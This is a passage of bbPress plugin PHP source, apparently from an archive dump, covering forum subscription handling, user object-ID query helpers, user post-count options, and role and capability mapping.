	if ( empty( $user_id ) || empty( $object_id ) ) {
		return false;
	}

	// Bail if already subscribed
	if ( bbp_is_user_subscribed( $user_id, $object_id, $type ) ) {
		return false;
	}

	// Bail if add fails
	if ( ! bbp_add_user_to_object( $object_id, $user_id, '_bbp_subscription', $type ) ) {
		return false;
	}

	do_action( 'bbp_add_user_subscription', $user_id, $object_id, $type );

	return true;
}

/**
 * Remove a user subscription
 *
 * @since 2.5.0 bbPress (r5156)
 * @since 2.6.0 bbPress (r6544) Added $type parameter
 *
 * @param int    $user_id   Optional. User id
 * @param int    $object_id Optional. Object id
 * @param string $type      Optional. Type of object being subscribed to
 *
 * @return bool True if the object was removed from user subscriptions, otherwise false
 */
function bbp_remove_user_subscription( $user_id = 0, $object_id = 0, $type = 'post' ) {

	// Bail if not enough info
	if ( empty( $user_id ) || empty( $object_id ) ) {
		return false;
	}

	// Bail if not subscribed
	if ( ! bbp_is_user_subscribed( $user_id, $object_id, $type ) ) {
		return false;
	}

	// Bail if remove fails
	if ( ! bbp_remove_user_from_object( $object_id, $user_id, '_bbp_subscription', $type ) ) {
		return false;
	}

	do_action( 'bbp_remove_user_subscription', $user_id, $object_id, $type );

	return true;
}

/**
 * Handles the front end toggling of user subscriptions
 *
 * @since 2.0.0 bbPress (r2790)
 * @since 2.6.l bbPress (r6543)
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_subscriptions_handler( $action = '' ) {

	// Default
	$success = false;

	// Bail if subscriptions not active
	if ( ! bbp_is_subscriptions_active() ) {
		return $success;
	}

	// Bail if no object ID is passed
	if ( empty( $_GET['object_id'] ) ) {
		return $success;
	}

	// Setup possible get actions
	$possible_actions = array(
		'bbp_subscribe',
		'bbp_unsubscribe'
	);

	// Bail if actions aren't meant for this function
	if ( ! in_array( $action, $possible_actions, true ) ) {
		return $success;
	}

	// Get required data
	$user_id     = bbp_get_current_user_id();
	$object_id   = absint( $_GET['object_id'] );
	$object_type = ! empty( $_GET['object_type'] )
		? sanitize_key( $_GET['object_type'] )
		: 'post';

	// Check for empty topic
	if ( empty( $object_id ) ) {
		bbp_add_error( 'bbp_subscription_object_id', __( '<strong>Error</strong>: Not found. What are you subscribing/unsubscribing to?', 'bbpress' ) );

	// Check nonce
	} elseif ( ! bbp_verify_nonce_request( 'toggle-subscription_' . $object_id ) ) {
		bbp_add_error( 'bbp_subscription_object_id', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );

	// Check current user's ability to edit the user
	} elseif ( ! current_user_can( 'edit_user', $user_id ) ) {
		bbp_add_error( 'bbp_subscription_permission', __( '<strong>Error</strong>: You do not have permission to edit subscriptions of that user.', 'bbpress' ) );
	}

	// Bail if we have errors
	if ( bbp_has_errors() ) {
		return $success;
	}

	/** No errors *************************************************************/

	if ( 'bbp_unsubscribe' === $action ) {
		$success = bbp_remove_user_subscription( $user_id, $object_id, $object_type );
	} elseif ( 'bbp_subscribe' === $action ) {
		$success = bbp_add_user_subscription( $user_id, $object_id, $object_type );
	}

	// Do additional subscriptions actions
	do_action( 'bbp_subscriptions_handler', $success, $user_id, $object_id, $action, $object_type );

	// Success!
	if ( true === $success ) {

		// Redirect back from whence we came
		if ( ! empty( $_REQUEST['redirect_to'] ) ) {
			$redirect = $_REQUEST['redirect_to']; // Validated later
		} elseif ( bbp_is_subscriptions() ) {
			$redirect = bbp_get_subscriptions_permalink( $user_id );
		} elseif ( bbp_is_single_user() ) {
			$redirect = bbp_get_user_profile_url();
		} elseif ( is_singular( bbp_get_topic_post_type() ) ) {
			$redirect = bbp_get_topic_permalink( $object_id );
		} elseif ( is_singular( bbp_get_forum_post_type() ) ) {
			$redirect = bbp_get_forum_permalink( $object_id );
		} elseif ( is_single() || is_page() ) {
			$redirect = get_permalink();
		} else {
			$redirect = get_permalink( $object_id );
		}

		bbp_redirect( $redirect );

	// Fail! Handle errors
	} elseif ( 'bbp_unsubscribe' === $action ) {
		bbp_add_error( 'bbp_unsubscribe', __( '<strong>Error</strong>: There was a problem unsubscribing.', 'bbpress' ) );
	} elseif ( 'bbp_subscribe' === $action ) {
		bbp_add_error( 'bbp_subscribe',   __( '<strong>Error</strong>: There was a problem subscribing.', 'bbpress' ) );
	}

	return (bool) $success;
}

/** Query Helpers *************************************************************/

/**
 * These functions are no longer used in bbPress due to general performance
 * concerns on large installations. They are provided here for convenience and
 * backwards compatibility only.
 */

/**
 * Get a user's object IDs
 *
 * For the most part, you should not need to use this function, and may even
 * want to come up with a more efficient way to get IDs on your own. Nevertheless,
 * it is available here for your convenience, using the most efficient query
 * parameters available inside of the various query APIs.
 *
 * @since 2.6.0 bbPress (r6606)
 *
 * @param int    $user_id   The user id
 * @param string $rel_key   The relationship key
 * @param string $rel_type  The relationship type (usually 'post')
 * @param array  $args      The arguments to override defaults
 *
 * @return array|bool Results if user has objects, otherwise null
 */
function bbp_get_user_object_ids( $args = array() ) {
	$object_ids = $defaults = array();

	// Parse arguments
	$r = bbp_parse_args( $args, array(
		'user_id'     => 0,
		'object_type' => bbp_get_topic_post_type(),
		'rel_key'     => '',
		'rel_type'    => 'post',
		'filter'      => 'user_object_ids',
		'args'        => array()
	), 'get_user_object_ids' );

	// Sanitize arguments
	$r['user_id']     = bbp_get_user_id( $r['user_id'] );
	$r['rel_key']     = sanitize_key( $r['rel_key'] );
	$r['rel_type']    = sanitize_key( $r['rel_type'] );
	$r['object_type'] = sanitize_key( $r['object_type'] );
	$r['filter']      = sanitize_key( $r['filter'] );

	// Defaults
	if ( 'post' === $r['rel_type'] ) {
		$defaults = array(
			'fields'         => 'ids',
			'post_type'      => $r['object_type'],
			'posts_per_page' => -1,
			'meta_query'     => array( array(
				'key'     => $r['rel_key'],
				'value'   => $r['user_id'],
				'compare' => 'NUMERIC'
			),

			// Performance
			'nopaging'               => true,
			'suppress_filters'       => true,
			'update_post_term_cache' => false,
			'update_post_meta_cache' => false,
			'ignore_sticky_posts'    => true,
			'no_found_rows'          => true
		) );
	}

	// Parse arguments
	$query_args = bbp_parse_args( $r['args'], $defaults, "get_{$r['filter']}_args" );

	// Queries
	if ( 'post' === $r['rel_type'] ) {
		$query      = new WP_Query( $query_args );
		$object_ids = $query->posts;
	}

	// Filter & return
	return (array) apply_filters( "bbp_get_{$r['filter']}", $object_ids, $r, $args );
}

/**
 * Get array of forum IDs that a user can moderate
 *
 * @since 2.6.0 bbPress (r5834)
 *
 * @param int $user_id User id.
 *
 * @return array Return array of forum ids, or empty array
 */
function bbp_get_moderator_forum_ids( $user_id = 0 ) {
	return bbp_get_user_object_ids( array(
		'user_id'     => $user_id,
		'rel_key'     => '_bbp_moderator_id',
		'object_type' => bbp_get_forum_post_type(),
		'filter'      => 'moderator_forum_ids'
	) );
}

/**
 * Get a user's engaged topic ids
 *
 * @since 2.6.0 bbPress (r6320)
 *
 * @param int $user_id Optional. User id
 *
 * @return array Return array of topic ids, or empty array
 */
function bbp_get_user_engaged_topic_ids( $user_id = 0 ) {
	return bbp_get_user_object_ids( array(
		'user_id' => $user_id,
		'rel_key' => '_bbp_engagement',
		'filter'  => 'user_engaged_topic_ids'
	) );
}

/**
 * Get a user's favorite topic ids
 *
 * @since 2.0.0 bbPress (r2652)
 *
 * @param int $user_id Optional. User id
 *
 * @return array Return array of favorite topic ids, or empty array
 */
function bbp_get_user_favorites_topic_ids( $user_id = 0 ) {
	return bbp_get_user_object_ids( array(
		'user_id' => $user_id,
		'rel_key' => '_bbp_favorite',
		'filter'  => 'user_favorites_topic_ids'
	) );
}

/**
 * Get a user's subscribed forum ids
 *
 * @since 2.5.0 bbPress (r5156)
 *
 * @param int $user_id Optional. User id
 *
 * @return array Return array of subscribed forum ids, or empty array
 */
function bbp_get_user_subscribed_forum_ids( $user_id = 0 ) {
	return bbp_get_user_object_ids( array(
		'user_id'     => $user_id,
		'rel_key'     => '_bbp_subscription',
		'object_type' => bbp_get_forum_post_type(),
		'filter'      => 'user_subscribed_forum_ids'
	) );
}

/**
 * Get a user's subscribed topic ids
 *
 * @since 2.0.0 bbPress (r2668)
 *
 * @param int $user_id Optional. User id
 *
 * @return array Return array of subscribed topic ids, or empty array
 */
function bbp_get_user_subscribed_topic_ids( $user_id = 0 ) {
	return bbp_get_user_object_ids( array(
		'user_id' => $user_id,
		'rel_key' => '_bbp_subscription',
		'filter'  => 'user_subscribed_topic_ids'
	) );
}

/** Deprecated ****************************************************************/

/**
 * Get a user's subscribed topics
 *
 * @since 2.0.0 bbPress (r2668)
 * @deprecated 2.5.0 bbPress (r5156)
 *
 * @param int $user_id Optional. User id
 *
 * @return array|bool Results if user has subscriptions, otherwise false
 */
function bbp_get_user_subscriptions( $user_id = 0 ) {
	_deprecated_function( __FUNCTION__, '2.5', 'bbp_get_user_topic_subscriptions()' );
	$query = bbp_get_user_topic_subscriptions( $user_id );

	// Filter & return
	return apply_filters( 'bbp_get_user_subscriptions', $query, $user_id );
}

/**
 * Get the users who have subscribed to the forum
 *
 * @since 2.5.0 bbPress (r5156)
 * @deprecated 2.6.0 bbPress (r6543)
 *
 * @param int $forum_id Optional. forum id
 *
 * @return array|bool Results if the forum has any subscribers, otherwise false
 */
function bbp_get_forum_subscribers( $forum_id = 0 ) {
	$users = bbp_get_users_for_object( $forum_id, '_bbp_subscription' );

	// Filter & return
	return (array) apply_filters( 'bbp_get_forum_subscribers', $users, $forum_id );
}

/**
 * Get the users who have subscribed to the topic
 *
 * @since 2.0.0 bbPress (r2668)
 * @deprecated 2.6.0 bbPress (r6543)
 *
 * @param int $topic_id Optional. Topic id
 *
 * @return array|bool Results if the topic has any subscribers, otherwise false
 */
function bbp_get_topic_subscribers( $topic_id = 0 ) {
	$users = bbp_get_users_for_object( $topic_id, '_bbp_subscription' );

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_subscribers', $users, $topic_id );
}

/**
 * Check if a forum is in user's subscription list or not
 *
 * @since 2.5.0 bbPress (r5156)
 * @deprecated 2.6.0 bbPress (r6543)
 *
 * @param int $user_id  Optional. User id
 * @param int $forum_id Optional. Forum id
 *
 * @return bool True if the forum is in user's subscriptions, otherwise false
 */
function bbp_is_user_subscribed_to_forum( $user_id = 0, $forum_id = 0 ) {
	return bbp_is_user_subscribed( $user_id, $forum_id );
}

/**
 * Check if a topic is in user's subscription list or not
 *
 * @since 2.5.0 bbPress (r5156)
 * @deprecated 2.6.0 bbPress (r6543) Use bbp_is_user_subscribed()
 *
 * @param int $user_id Optional. User id
 * @param int $topic_id Optional. Topic id
 * @return bool True if the topic is in user's subscriptions, otherwise false
 */
function bbp_is_user_subscribed_to_topic( $user_id = 0, $topic_id = 0 ) {
	return bbp_is_user_subscribed( $user_id, $topic_id );
}

/**
 * Remove a forum from user's subscriptions
 *
 * @since 2.5.0 bbPress (r5156)
 * @deprecated 2.6.0 bbPress (r6543)
 *
 * @param int $user_id Optional. User id
 * @param int $forum_id Optional. forum id
 * @return bool True if the forum was removed from user's subscriptions,
 *               otherwise false
 */
function bbp_remove_user_forum_subscription( $user_id = 0, $forum_id = 0 ) {
	return bbp_remove_user_subscription( $user_id, $forum_id );
}

/**
 * Remove a topic from user's subscriptions
 *
 * @since 2.5.0 bbPress (r5156)
 * @deprecated 2.6.0 bbPress (r6543)
 *
 * @param int $user_id Optional. User id
 * @param int $topic_id Optional. Topic id
 * @return bool True if the topic was removed from user's subscriptions,
 *               otherwise false
 */
function bbp_remove_user_topic_subscription( $user_id = 0, $topic_id = 0 ) {
	return bbp_remove_user_subscription( $user_id, $topic_id );
}

/**
 * Add a forum to user's subscriptions
 *
 * @since 2.5.0 bbPress (r5156)
 * @deprecated 2.6.0 bbPress (r6543)
 *
 * @param int $user_id Optional. User id
 * @param int $forum_id Optional. forum id
 * @return bool Always true
 */
function bbp_add_user_forum_subscription( $user_id = 0, $forum_id = 0 ) {
	return bbp_add_user_subscription( $user_id, $forum_id );
}

/**
 * Add a topic to user's subscriptions
 *
 * Note that both the User and Topic should be verified to exist before using
 * this function. Originally both were validated, but because this function is
 * frequently used within a loop, those verifications were moved upstream to
 * improve performance on topics with many engaged users.
 *
 * @since 2.0.0 bbPress (r2668)
 * @deprecated 2.6.0 bbPress (r6543)
 *
 * @param int $user_id Optional. User id
 * @param int $topic_id Optional. Topic id
 * @return bool Always true
 */
function bbp_add_user_topic_subscription( $user_id = 0, $topic_id = 0 ) {
	return bbp_add_user_subscription( $user_id, $topic_id );
}

/**
 * Handles the front end toggling of forum subscriptions
 *
 * @since 2.5.0 bbPress (r5156)
 * @deprecated 2.6.0 bbPress (r6543)
 */
function bbp_forum_subscriptions_handler( $action = '' ) {
	return bbp_subscriptions_handler( $action );
}
includes/users/options.php000066600000021055151771460310011733 0ustar00<?php

/**
 * bbPress User Options
 *
 * @package bbPress
 * @subpackage UserOptions
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Get the default user options and their values
 *
 * @since 2.1.0 bbPress (r3910)
 *
 * @return array Filtered user option names and values
 */
function bbp_get_default_user_options() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_default_user_options', array(
		'_bbp_last_posted' => '0', // For checking flooding
		'_bbp_topic_count' => '0', // Total topics per site
		'_bbp_reply_count' => '0'  // Total replies per site
	) );
}

/**
 * Add default user options
 *
 * This is destructive, so existing bbPress user options will be overridden.
 *
 * @since 2.1.0 bbPress (r3910)
 */
function bbp_add_user_options( $user_id = 0 ) {

	// Validate user id
	$user_id = bbp_get_user_id( $user_id );
	if ( empty( $user_id ) ) {
		return;
	}

	// Add default options
	foreach ( bbp_get_default_user_options() as $key => $value ) {
		update_user_option( $user_id, $key, $value );
	}

	// Allow previously activated plugins to append their own user options.
	do_action( 'bbp_add_user_options', $user_id );
}

/**
 * Delete default user options
 *
 * Hooked to bbp_uninstall, it is only called once when bbPress is uninstalled.
 * This is destructive, so existing bbPress user options will be destroyed.
 *
 * @since 2.1.0 bbPress (r3910)
 */
function bbp_delete_user_options( $user_id = 0 ) {

	// Validate user id
	$user_id = bbp_get_user_id( $user_id );
	if ( empty( $user_id ) ) {
		return;
	}

	// Add default options
	foreach ( array_keys( bbp_get_default_user_options() ) as $key ) {
		delete_user_option( $user_id, $key );
	}

	// Allow previously activated plugins to append their own options.
	do_action( 'bbp_delete_user_options', $user_id );
}

/**
 * Add filters to each bbPress option and allow them to be overloaded from
 * inside the $bbp->options array.
 *
 * @since 2.1.0 bbPress (r3910)
 */
function bbp_setup_user_option_filters() {

	// Add filters to each bbPress option
	foreach ( array_keys( bbp_get_default_user_options() ) as $key ) {
		add_filter( 'get_user_option_' . $key, 'bbp_filter_get_user_option', 10, 3 );
	}

	// Allow previously activated plugins to append their own options.
	do_action( 'bbp_setup_user_option_filters' );
}

/**
 * Filter default options and allow them to be overloaded from inside the
 * $bbp->user_options array.
 *
 * @since 2.1.0 bbPress (r3910)
 *
 * @param bool $value Optional. Default value false
 * @return mixed false if not overloaded, mixed if set
 */
function bbp_filter_get_user_option( $value = false, $option = '', $user = 0 ) {
	$bbp = bbpress();

	// Check the options global for preset value
	if ( isset( $user->ID ) && isset( $bbp->user_options[ $user->ID ] ) && ! empty( $bbp->user_options[ $user->ID ][ $option ] ) ) {
		$value = $bbp->user_options[ $user->ID ][ $option ];
	}

	// Always return a value, even if false
	return $value;
}

/** Post Counts ***************************************************************/

/**
 * Update the topic count for a user
 *
 * @since 2.6.0 bbPress (r5309)
 *
 * @param int $user_id
 * @param mixed $count
 * @return boolean
 */
function bbp_update_user_topic_count( $user_id = 0, $count = false ) {

	// Validate user id
	$user_id = bbp_get_user_id( $user_id );
	if ( empty( $user_id ) ) {
		return false;
	}

	// Just in time filtering of the user's topic count
	$count = apply_filters( 'bbp_update_user_topic_count', $count, $user_id );

	// Bail if no count was passed
	if ( false === $count ) {
		return false;
	}

	// Return the updated user option
	return update_user_option( $user_id, '_bbp_topic_count', $count );
}

/**
 * Update the reply count for a user
 *
 * @since 2.6.0 bbPress (r5309)
 *
 * @param int $user_id
 * @param mixed $count
 * @return boolean
 */
function bbp_update_user_reply_count( $user_id = 0, $count = false ) {

	// Validate user id
	$user_id = bbp_get_user_id( $user_id );
	if ( empty( $user_id ) ) {
		return false;
	}

	// Just in time filtering of the user's reply count
	$count = apply_filters( 'bbp_update_user_reply_count', $count, $user_id );

	// Bail if no count was passed
	if ( false === $count ) {
		return false;
	}

	// Return the updated user option
	return update_user_option( $user_id, '_bbp_reply_count', $count );
}

/**
 * Output a users topic count
 *
 * @since 2.1.0 bbPress (r3632)
 *
 * @param int $user_id
 * @param boolean $integer Optional. Whether or not to format the result
 *
 * @return string
 */
function bbp_user_topic_count( $user_id = 0, $integer = false ) {
	echo esc_html( bbp_get_user_topic_count( $user_id, $integer ) );
}
	/**
	 * Return a users reply count
	 *
	 * @since 2.1.0 bbPress (r3632)
	 *
	 * @param int $user_id
	 * @param boolean $integer Optional. Whether or not to format the result
	 *
	 * @return string
	 */
	function bbp_get_user_topic_count( $user_id = 0, $integer = false ) {

		// Validate user id
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		$count  = get_user_option( '_bbp_topic_count', $user_id );
		$filter = ( true === $integer )
			? 'bbp_get_user_topic_count_int'
			: 'bbp_get_user_topic_count';

		// Filter & return
		return apply_filters( $filter, $count, $user_id );
	}

/**
 * Output a users reply count
 *
 * @since 2.1.0 bbPress (r3632)
 *
 * @param int $user_id
 * @param boolean $integer Optional. Whether or not to format the result
 *
 * @return string
 */
function bbp_user_reply_count( $user_id = 0, $integer = false ) {
	echo esc_html( bbp_get_user_reply_count( $user_id, $integer ) );
}
	/**
	 * Return a users reply count
	 *
	 * @since 2.1.0 bbPress (r3632)
	 *
	 * @param int $user_id
	 * @param boolean $integer Optional. Whether or not to format the result
	 *
	 * @return string
	 */
	function bbp_get_user_reply_count( $user_id = 0, $integer = false ) {

		// Validate user id
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		$count  = get_user_option( '_bbp_reply_count', $user_id );
		$filter = ( true === $integer )
			? 'bbp_get_user_reply_count_int'
			: 'bbp_get_user_reply_count';

		return apply_filters( $filter, $count, $user_id );
	}

/**
 * Output a users total post count
 *
 * @since 2.1.0 bbPress (r3632)
 *
 * @param int $user_id
 * @param boolean $integer Optional. Whether or not to format the result
 *
 * @return string
 */
function bbp_user_post_count( $user_id = 0, $integer = false ) {
	echo esc_html( bbp_get_user_post_count( $user_id, $integer ) );
}
	/**
	 * Return a users total post count
	 *
	 * @since 2.1.0 bbPress (r3632)
	 *
	 * @param int $user_id
	 * @param boolean $integer Optional. Whether or not to format the result
	 *
	 * @return string
	 */
	function bbp_get_user_post_count( $user_id = 0, $integer = false ) {

		// Validate user id
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		$topics  = bbp_get_user_topic_count( $user_id, true );
		$replies = bbp_get_user_reply_count( $user_id, true );
		$count   = $topics + $replies;
		$filter  = ( true === $integer )
			? 'bbp_get_user_post_count_int'
			: 'bbp_get_user_post_count';

		return apply_filters( $filter, $count, $user_id );
	}

/** Last Posted ***************************************************************/

/**
 * Update a users last posted time, for use with post throttling
 *
 * @since 2.1.0 bbPress (r3910)
 *
 * @param int $user_id User ID to update
 * @param int $time Time in time() format
 * @return bool False if no user or failure, true if successful
 */
function bbp_update_user_last_posted( $user_id = 0, $time = 0 ) {

	// Validate user id
	$user_id = bbp_get_user_id( $user_id );
	if ( empty( $user_id ) ) {
		return false;
	}

	// Set time to now if nothing is passed
	if ( empty( $time ) ) {
		$time = time();
	}

	return update_user_option( $user_id, '_bbp_last_posted', $time );
}

/**
 * Output the raw value of the last posted time.
 *
 * @since 2.1.0 bbPress (r3910)
 *
 * @param int $user_id User ID to retrieve value for
 */
function bbp_user_last_posted( $user_id = 0 ) {
	echo esc_html( bbp_get_user_last_posted( $user_id ) );
}

	/**
	 * Return the raw value of the last posted time.
	 *
	 * @since 2.1.0 bbPress (r3910)
	 *
	 * @param int $user_id User ID to retrieve value for
	 * @return mixed False if no user, time() format if exists
	 */
	function bbp_get_user_last_posted( $user_id = 0 ) {

		// Validate user id
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		$time = get_user_option( '_bbp_last_posted', $user_id );

		// Filter & return
		return apply_filters( 'bbp_get_user_last_posted', $time, $user_id );
	}
includes/users/capabilities.php000066600000050630151771460310012672 0ustar00<?php

/**
 * bbPress User Capabilites
 *
 * Used to map user capabilities to WordPress's existing capabilities.
 *
 * @package bbPress
 * @subpackage Capabilities
 */

/**
 * Maps primary capabilities
 *
 * @since 2.2.0 bbPress (r4242)
 *
 * @param array  $caps Capabilities for meta capability.
 * @param string $cap Capability name.
 * @param int    $user_id User id.
 * @param array  $args Arguments.
 *
 * @return array Actual capabilities for meta capability
 */
function bbp_map_primary_meta_caps( $caps = array(), $cap = '', $user_id = 0, $args = array() ) {

	// What capability is being checked?
	switch ( $cap ) {
		case 'spectate' :

			// Do not allow inactive users.
			if ( bbp_is_user_inactive( $user_id ) ) {
				$caps = array( 'do_not_allow' );

			// Default to the current cap.
			} else {
				$caps = array( $cap );
			}
			break;

		case 'participate' :

			// Do not allow inactive users.
			if ( bbp_is_user_inactive( $user_id ) ) {
				$caps = array( 'do_not_allow' );

			// Default to the current cap.
			} else {
				$caps = array( $cap );
			}
			break;

		case 'moderate' :

			// Do not allow inactive users.
			if ( bbp_is_user_inactive( $user_id ) ) {
				$caps = array( 'do_not_allow' );

			// Keymasters can always moderate.
			} elseif ( bbp_is_user_keymaster( $user_id ) ) {
				$caps = array( 'spectate' );

			// Check if user can moderate forum.
			} elseif ( bbp_allow_forum_mods() ) {
				$caps = array( $cap );

				// Bail if no post to check.
				if ( empty( $args[0] ) ) {
					break;
				}

				// Get the post.
				$_post = get_post( $args[0] );
				if ( empty( $_post ) ) {
					break;
				}

				// Get forum ID for specific type of post.
				switch ( $_post->post_type ) {

					// Forum.
					case bbp_get_forum_post_type() :
						$forum_id = bbp_get_forum_id( $_post->ID );
						break;

					// Topic.
					case bbp_get_topic_post_type() :
						$forum_id = bbp_get_topic_forum_id( $_post->ID );
						break;

					// Reply.
					case bbp_get_reply_post_type() :
						$forum_id = bbp_get_reply_forum_id( $_post->ID );
						break;

					// Any other post type defaults to 0.
					default :
						$forum_id = 0;
						break;
				}

				// Bail if no forum ID.
				if ( empty( $forum_id ) ) {
					break;
				}

				// User is mod of this forum
				if ( bbp_is_object_of_user( $forum_id, $user_id, '_bbp_moderator_id' ) ) {
					$caps = array( 'spectate' );
				}
			}

			break;

		/** Super Moderators **************************************************/

		case 'edit_user'  :
		case 'edit_users' :

			// Moderators can edit users if super moderators is enabled
			if ( bbp_allow_super_mods() ) {

				// Get the user ID
				$_user_id = ! empty( $args[0] )
					? (int) $args[0]
					: bbp_get_displayed_user_id();

				// Users can always edit themselves, so only map for others
				if ( ! empty( $_user_id ) && ( $_user_id !== $user_id ) ) {

					// Super moderators cannot edit keymasters
					if ( ! bbp_is_user_keymaster( $_user_id ) ) {
						$caps = array( 'moderate' );
					}
				}
			}

			break;
	}

	// Filter & return
	return (array) apply_filters( 'bbp_map_primary_meta_caps', $caps, $cap, $user_id, $args );
}

/**
 * Set a user's role in the forums
 *
 * @since 2.1.0 bbPress (r3860)
 *
 * @param int $user_id
 *
 * @return mixed False if no change. String of new role if changed.
 */
function bbp_set_user_role( $user_id = 0, $new_role = '' ) {

	// Validate user id
	$user_id = bbp_get_user_id( $user_id, false, false );
	$user    = get_userdata( $user_id );

	// User exists
	if ( ! empty( $user ) ) {

		// Get user forum role
		$role = bbp_get_user_role( $user_id );

		// User already has this role so no new role is set
		if ( $new_role === $role ) {
			$new_role = false;

		// User role is different than the new (valid) role
		} elseif ( bbp_is_valid_role( $new_role ) ) {

			// Remove the old role
			if ( ! empty( $role ) ) {
				$user->remove_role( $role );
			}

			// Add the new role
			if ( ! empty( $new_role ) ) {
				$user->add_role( $new_role );
			}
		}

	// User does don exist so return false
	} else {
		$new_role = false;
	}

	// Filter & return
	return apply_filters( 'bbp_set_user_role', $new_role, $user_id, $user );
}

/**
 * Return a user's forums role
 *
 * @since 2.1.0 bbPress (r3860)
 *
 * @param int $user_id
 *
 * @return string
 */
function bbp_get_user_role( $user_id = 0 ) {

	// Validate user id
	$user_id = bbp_get_user_id( $user_id );
	$user    = get_userdata( $user_id );
	$role    = false;

	// User has roles so look for a bbPress one
	if ( ! empty( $user->roles ) ) {

		// Look for a bbPress role
		$roles = array_intersect(
			array_values( $user->roles ),
			array_keys( bbp_get_dynamic_roles() )
		);

		// If there's a role in the array, use the first one. This isn't very
		// smart, but since roles aren't exactly hierarchical, and bbPress
		// does not yet have a UI for multiple user roles, it's fine for now.
		if ( ! empty( $roles ) ) {
			$role = array_shift( $roles );
		}
	}

	// Filter & return
	return apply_filters( 'bbp_get_user_role', $role, $user_id, $user );
}

/**
 * Return a user's blog role
 *
 * @since 2.3.0 bbPress (r4446)
 *
 * @param int $user_id
 *
 * @return string
 */
function bbp_get_user_blog_role( $user_id = 0 ) {

	// Validate user id
	$user_id = bbp_get_user_id( $user_id );
	$user    = get_userdata( $user_id );
	$role    = false;

	// User has roles so lets
	if ( ! empty( $user->roles ) ) {

		// Look for a non bbPress role
		$roles = array_intersect(
			array_values( $user->roles ),
			array_keys( bbp_get_blog_roles() )
		);

		// If there's a role in the array, use the first one. This isn't very
		// smart, but since roles aren't exactly hierarchical, and WordPress
		// does not yet have a UI for multiple user roles, it's fine for now.
		if ( ! empty( $roles ) ) {
			$role = array_shift( $roles );
		}
	}

	// Filter & return
	return apply_filters( 'bbp_get_user_blog_role', $role, $user_id, $user );
}

/**
 * Helper function hooked to 'bbp_profile_update' action to save or
 * update user roles and capabilities.
 *
 * @since 2.2.0 bbPress (r4235)
 *
 * @param int $user_id
 */
function bbp_profile_update_role( $user_id = 0 ) {

	// Bail if no user ID was passed
	if ( empty( $user_id ) ) {
		return;
	}

	// Bail if no role
	if ( ! isset( $_POST['bbp-forums-role'] ) ) {
		return;
	}

	// Forums role we want the user to have
	$new_role    = sanitize_key( $_POST['bbp-forums-role'] );
	$forums_role = bbp_get_user_role( $user_id );

	// Bail if no role change
	if ( $new_role === $forums_role ) {
		return;
	}

	// Bail if trying to set their own role
	if ( bbp_is_user_home_edit() ) {
		return;
	}

	// Bail if current user cannot promote the passing user
	if ( ! current_user_can( 'promote_user', $user_id ) ) {
		return;
	}

	// Set the new forums role
	bbp_set_user_role( $user_id, $new_role );
}

/**
 * Check if a role string is valid
 *
 * @since 2.6.5
 *
 * @param string $role
 *
 * @return bool True if role is valid. False if role is not valid.
 */
function bbp_is_valid_role( $role = '' ) {

	// Default return value
	$retval = false;

	// Skip if no role to check
	if ( ! empty( $role ) && is_string( $role ) ) {

		// Get the dynamic role IDs
		$roles = array_keys( bbp_get_dynamic_roles() );

		// Skip if no known role IDs
		if ( ! empty( $roles ) ) {

			// Is role in dynamic roles array?
			$retval = in_array( $role, $roles, true );
		}
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_valid_role', $retval, $role );
}

/**
 * Add the default role to the current user if needed
 *
 * This function will bail if the forum is not global in a multisite
 * installation of WordPress, or if the user is marked as spam or deleted.
 *
 * @since 2.0.0 bbPress (r3380)
 *
 * @return If not multisite, not global, or user is deleted/spammed
 */
function bbp_set_current_user_default_role() {

	/** Sanity ****************************************************************/

	// Bail if deactivating bbPress
	if ( bbp_is_deactivation() ) {
		return;
	}

	// Catch all, to prevent premature user initialization
	if ( ! did_action( 'set_current_user' ) ) {
		return;
	}

	// Bail if not logged in or already a member of this site
	if ( ! is_user_logged_in() ) {
		return;
	}

	// Get the current user ID
	$user_id = bbp_get_current_user_id();

	// Bail if user already has a forums role
	if ( bbp_get_user_role( $user_id ) ) {
		return;
	}

	// Bail if user is marked as spam or is deleted
	if ( bbp_is_user_inactive( $user_id ) ) {
		return;
	}

	/** Ready *****************************************************************/

	// Load up bbPress once
	$bbp         = bbpress();

	// Get whether or not to add a role to the user account
	$add_to_site = bbp_allow_global_access();

	// Get the current user's WordPress role. Set to empty string if none found.
	$user_role   = bbp_get_user_blog_role( $user_id );

	// Get the role map
	$role_map    = bbp_get_user_role_map();

	/** Forum Role ************************************************************/

	// Use a mapped role or default role
	$new_role = empty( $user_role ) || ! isset( $role_map[ $user_role ] )
		? bbp_get_default_role()
		: $role_map[ $user_role ];

	/** Add or Map ************************************************************/

	// Add the user to the site
	if ( true === $add_to_site ) {
		bbp_set_user_role( $user_id, $new_role );

	// Don't add the user, but still give them the correct caps dynamically
	} else {
		$bbp->current_user->caps[ $new_role ] = true;
		$bbp->current_user->get_role_caps();
	}
}

/**
 * Return a map of WordPress roles to bbPress roles. Used to automatically grant
 * appropriate bbPress roles to WordPress users that wouldn't already have a
 * role in the forums. Also guarantees WordPress admins get the Keymaster role.
 *
 * @since 2.2.0 bbPress (r4334)
 *
 * @return array Filtered array of WordPress roles to bbPress roles
 */
function bbp_get_user_role_map() {

	// Get the default role once here
	$default_role = bbp_get_default_role();

	// Filter & return
	return (array) apply_filters( 'bbp_get_user_role_map', array(
		'administrator' => bbp_get_keymaster_role(),
		'editor'        => $default_role,
		'author'        => $default_role,
		'contributor'   => $default_role,
		'subscriber'    => $default_role
	) );
}

/** User Status ***************************************************************/

/**
 * Checks if the user has been marked as a spammer.
 *
 * @since 2.0.0 bbPress (r3355)
 *
 * @param int $user_id int The ID for the user.
 * @return bool True if spammer, False if not.
 */
function bbp_is_user_spammer( $user_id = 0 ) {

	// Default to current user
	if ( empty( $user_id ) && is_user_logged_in() ) {
		$user_id = bbp_get_current_user_id();
	}

	// No user to check
	if ( empty( $user_id ) ) {
		return false;
	}

